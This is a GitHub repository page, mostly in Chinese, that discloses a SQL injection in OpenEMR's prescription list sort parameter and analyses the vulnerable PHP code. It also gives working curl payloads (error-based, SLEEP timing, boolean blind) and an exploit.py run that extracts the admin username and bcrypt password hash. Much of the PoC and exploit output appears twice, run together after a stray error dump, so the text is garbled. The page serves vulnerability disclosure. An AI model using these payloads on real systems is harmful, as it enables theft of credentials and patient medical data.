ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4
GitHub: ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4
针对 OpenEMR <8.0.0 处方功能 SQL 注入漏洞(CVE-2026-25746)的 PoC 与利用工具,含完整漏洞分析和 Python 利用脚本。
Stars: 0 | Forks: 0
# CVE-2026-25746 - OpenEMR <8.0.0 中的 SQL 注入漏洞
### 概要
OpenEMR <8.0.0 的 prescription 功能中存在一个 SQL 注入漏洞,可被已认证的攻击者利用。该漏洞的存在是由于 prescription 列表功能中的输入验证不足。
### 详情
该漏洞出现在 prescription 列表功能中,用户在 sort 参数中提供的输入在未经过适当过滤处理的情况下直接拼接到 SQL 查询中。这允许攻击者注入恶意的 SQL 代码。
该漏洞影响以下文件:
- `\openemr\library\classes\Prescription.class.php` 中的 `prescriptions_factory` 函数 [第 1148 行](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/library/classes/Prescription.class.php#L1148)
- `\controllers\C_Prescription.class.php` 中的 `list_action` 函数 [第 180 行](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/controllers/C_Prescription.class.php#L180)
- `\openemr\controller.php` [第 6 行](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/controller.php#L6)
[从 URL 路径调用的 controller 文件](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/controller.php#L6)
```
$controller = new Controller();
echo $controller->act($_GET);
```
[Controller act 方法](https://github.com/openemr/openemr/blob/2b46e594b9dd665fb7f16c913ca07f5c6d54412b/library/classes/Controller.class.php#L77):
```
$args = array_reverse(array_keys($qarray));
$c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$obj_name = "C_" . $c_name;
$c_obj = new $obj_name();
...
foreach ($args as $arg) {
$arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
$args_array[] = null;
} else {
$args_array[] = $qarray[$arg];
}
}
...
if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
$output .= $c_obj->{$c_action . "_action"}(...$args_array);
}
```
[C_Prescription list_action 方法](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/controllers/C_Prescription.class.php#L180)
```
function list_action($id, $sort = "", $printPrescriptionId = null)
{
if (empty($id)) {
$this->function_argument_error();
exit;
}
if (!empty($sort)) {
$this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
}
```
[Prescription prescriptions_factory 方法中的漏洞](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/library/classes/Prescription.class.php#L1148)
```
static function prescriptions_factory(
$patient_id,
$order_by = "active DESC, date_modified DESC, date_added DESC"
) {
$prescriptions = [];
$p = new Prescription();
$sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
"ORDER BY " . add_escape_custom($order_by);
$results = sqlQ($sql, [$patient_id]);
while ($row = sqlFetchArray($results)) {
$prescriptions[] = new Prescription($row['id']);
}
return $prescriptions;
}
```
#### 权限
```
if ((array_key_first($qarray) ?? '') == 'prescription') {
if (!AclMain::aclCheckCore('patients', 'rx')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);
exit;
}
}
```
需要 `patients` 上的 ACL `rx` 权限,这些属于标准权限,而非提升的特权。
#### SQL 注入
```
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY
```
### PoC
```
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"'
/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ
/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")
/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")
/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array) ┌──(kali㉿kali)-[~] └─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)' ┌──(kali㉿kali)-[~] └─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))' ┌──(kali㉿kali)-[~] └─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)' ``` 利用该漏洞有多种技术;其中一种是布尔盲注攻击,使用最后一个 payload 即可实现: ``` SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1) ``` #### 利用 ``` ┌──(kali㉿kali)-[~] └─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4 [+] Using patient_id=1 [+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f [+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c [#] Row count for table: users_secure 1 [#] String length: users_secure.username 0 5 [>] Character recovered: a [>] Character recovered: d [>] Character recovered: m [>] Character recovered: i [>] Character recovered: n [+] Extracted string: ascii users_secure username 0 admin [#] String length: users_secure.password 0 60 [>] Character recovered: $ [>] Character recovered: 2 [>] Character recovered: y [>] Character recovered: $ [>] Character recovered: 1 [>] Character recovered: 2 [>] Character recovered: $ [>] Character recovered: g [>] Character recovered: 4 [>] Character recovered: T [>] Character recovered: y [>] Character recovered: s [>] Character recovered: 1 [>] Character recovered: l [>] Character recovered: x [>] Character recovered: A [>] Character recovered: f [>] Character recovered: t [>] Character recovered: B [>] Character recovered: I [>] Character recovered: u [>] Character recovered: x [>] Character recovered: y [>] Character recovered: w [>] Character recovered: o [>] Character recovered: 5 [>] Character recovered: L [>] Character recovered: z [>] Character recovered: e [>] Character recovered: V [>] Character recovered: 7 [>] Character recovered: W [>] Character recovered: 7 [>] Character recovered: a [>] Character recovered: L [>] Character recovered: B [>] Character recovered: z [>] Character recovered: O [>] Character recovered: X [>] Character recovered: g [>] Character recovered: a [>] Character recovered: C [>] Character recovered: g [>] Character recovered: U [>] Character recovered: e [>] Character recovered: v [>] Character recovered: Z [>] Character recovered: x [>] Character recovered: A [>] Character recovered: Y [>] Character recovered: Q [>] Character recovered: a [>] Character recovered: X [>] Character recovered: 0 [>] Character recovered: c [>] Character recovered: y [>] Character recovered: c [>] Character recovered: 2 [>] Character recovered: i [>] Character recovered: O [+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO [#] String length: users_secure.password_history1 0 0 [#] String length: users_secure.password_history2 0 0 [#] String length: users_secure.password_history3 0 0 [#] String length: users_secure.password_history4 0 0 ┌──(kali㉿kali)-[~] └─$ ``` ### 影响 - 未授权访问数据库信息 - 敏感医疗信息的潜在泄露 - 服务器端代码执行(在某些情况下) - 数据库受损 ### 致谢 - 研究员:Christophe SUBLET - 组织:Esisar - 项目:CyberSkills, Orion ## 链接 https://www.cve.org/CVERecord?id=CVE-2026-25746 ## 许可证 本项目采用 MIT 许可证授权 – 详情请参阅 LICENSE 文件。 请引用我们的论文:https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4
Query Error
ERROR: query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"
Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1
/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ
/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")
/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")
/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array) ┌──(kali㉿kali)-[~] └─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)' ┌──(kali㉿kali)-[~] └─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))' ┌──(kali㉿kali)-[~] └─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)' ``` 利用该漏洞有多种技术;其中一种是布尔盲注攻击,使用最后一个 payload 即可实现: ``` SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1) ``` #### 利用 ``` ┌──(kali㉿kali)-[~] └─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4 [+] Using patient_id=1 [+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f [+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c [#] Row count for table: users_secure 1 [#] String length: users_secure.username 0 5 [>] Character recovered: a [>] Character recovered: d [>] Character recovered: m [>] Character recovered: i [>] Character recovered: n [+] Extracted string: ascii users_secure username 0 admin [#] String length: users_secure.password 0 60 [>] Character recovered: $ [>] Character recovered: 2 [>] Character recovered: y [>] Character recovered: $ [>] Character recovered: 1 [>] Character recovered: 2 [>] Character recovered: $ [>] Character recovered: g [>] Character recovered: 4 [>] Character recovered: T [>] Character recovered: y [>] Character recovered: s [>] Character recovered: 1 [>] Character recovered: l [>] Character recovered: x [>] Character recovered: A [>] Character recovered: f [>] Character recovered: t [>] Character recovered: B [>] Character recovered: I [>] Character recovered: u [>] Character recovered: x [>] Character recovered: y [>] Character recovered: w [>] Character recovered: o [>] Character recovered: 5 [>] Character recovered: L [>] Character recovered: z [>] Character recovered: e [>] Character recovered: V [>] Character recovered: 7 [>] Character recovered: W [>] Character recovered: 7 [>] Character recovered: a [>] Character recovered: L [>] Character recovered: B [>] Character recovered: z [>] Character recovered: O [>] Character recovered: X [>] Character recovered: g [>] Character recovered: a [>] Character recovered: C [>] Character recovered: g [>] Character recovered: U [>] Character recovered: e [>] Character recovered: v [>] Character recovered: Z [>] Character recovered: x [>] Character recovered: A [>] Character recovered: Y [>] Character recovered: Q [>] Character recovered: a [>] Character recovered: X [>] Character recovered: 0 [>] Character recovered: c [>] Character recovered: y [>] Character recovered: c [>] Character recovered: 2 [>] Character recovered: i [>] Character recovered: O [+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO [#] String length: users_secure.password_history1 0 0 [#] String length: users_secure.password_history2 0 0 [#] String length: users_secure.password_history3 0 0 [#] String length: users_secure.password_history4 0 0 ┌──(kali㉿kali)-[~] └─$ ``` ### 影响 - 未授权访问数据库信息 - 敏感医疗信息的潜在泄露 - 服务器端代码执行(在某些情况下) - 数据库受损 ### 致谢 - 研究员:Christophe SUBLET - 组织:Esisar - 项目:CyberSkills, Orion ## 链接 https://www.cve.org/CVERecord?id=CVE-2026-25746 ## 许可证 本项目采用 MIT 许可证授权 – 详情请参阅 LICENSE 文件。 请引用我们的论文:https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4
标签:CISA项目, CVE-2026-25746, EHR, healthcare, OpenEMR, OpenVAS, PHP, PNNL实验室, PoC, Web安全, 医疗系统, 处方管理, 多线程, 安全漏洞, 排序参数注入, 数据库攻击, 暴力破解, 漏洞复现, 电子健康记录, 蓝队分析, 认证后漏洞, 输入验证缺失, 逆向工具